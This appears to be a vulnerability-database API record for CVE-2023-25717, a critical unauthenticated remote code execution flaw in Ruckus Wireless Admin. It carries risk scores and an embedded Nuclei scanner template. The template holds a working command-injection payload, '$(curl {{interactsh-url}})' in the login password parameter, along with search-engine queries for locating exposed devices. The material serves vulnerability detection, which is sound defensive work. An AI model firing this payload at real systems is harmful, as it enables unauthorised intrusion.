{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-25717/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-25717/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-25717/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-25717/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-25717/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-25717"},"sightings":{"href":"/api/v1/sightings/cve-2023-25717"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.98069,"kev":true,"percentile":0.9991},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-25717.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2023-25717\n\ninfo:\n  name: Ruckus Wireless Admin - Remote Code Execution\n  author: parthmalhotra,pdresearch\n  severity: critical\n  description: |\n    Ruckus Wireless Admin through 10.4 allows Remote Code Execution via an unauthenticated HTTP GET Request.\n  impact: |\n    Remote code execution vulnerability in Ruckus Wireless Admin allows attackers to execute arbitrary code on the target system.\n  remediation: |\n    Apply the latest security patches and updates provided by Ruckus Wireless to mitigate the vulnerability.\n  reference:\n    - https://cybir.com/2023/cve/proof-of-concept-ruckus-wireless-admin-10-4-unauthenticated-remote-code-execution-csrf-ssrf/\n    - https://support.ruckuswireless.com/security_bulletins/315\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-25717\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-25717\n    cwe-id: CWE-94\n    epss-score: 0.98069\n    epss-percentile: 0.99909\n    cpe: cpe:2.3:a:ruckuswireless:ruckus_wireless_admin:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: ruckuswireless\n    product: ruckus_wireless_admin\n    shodan-query:\n      - title:\"ruckus wireless\"\n      - http.title:\"ruckus wireless\"\n    fofa-query: title=\"ruckus wireless\"\n    google-query: intitle:\"ruckus wireless\"\n  tags: cve2023,cve,ruckus,rce,kev,ruckuswireless,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/forms/doLogin?login_username=admin&password=password$(curl%20{{interactsh-url}})&x=0&y=0\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - contains(interactsh_protocol, 'http')\n          - contains_all(to_lower(interactsh_request), 'user-agent','curl')\n          - status_code_1 == 302\n        condition: and\n# digest: 490a0046304402203d7a696af8ae2dea574b7a45ec652e304b4e3e509dc106c9d4db58277cef9f8b0220037ae1f9bfd8b2070a0452d9ab236fc4686795496e1febce30e9a2bc25c9357b:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2023-25717"}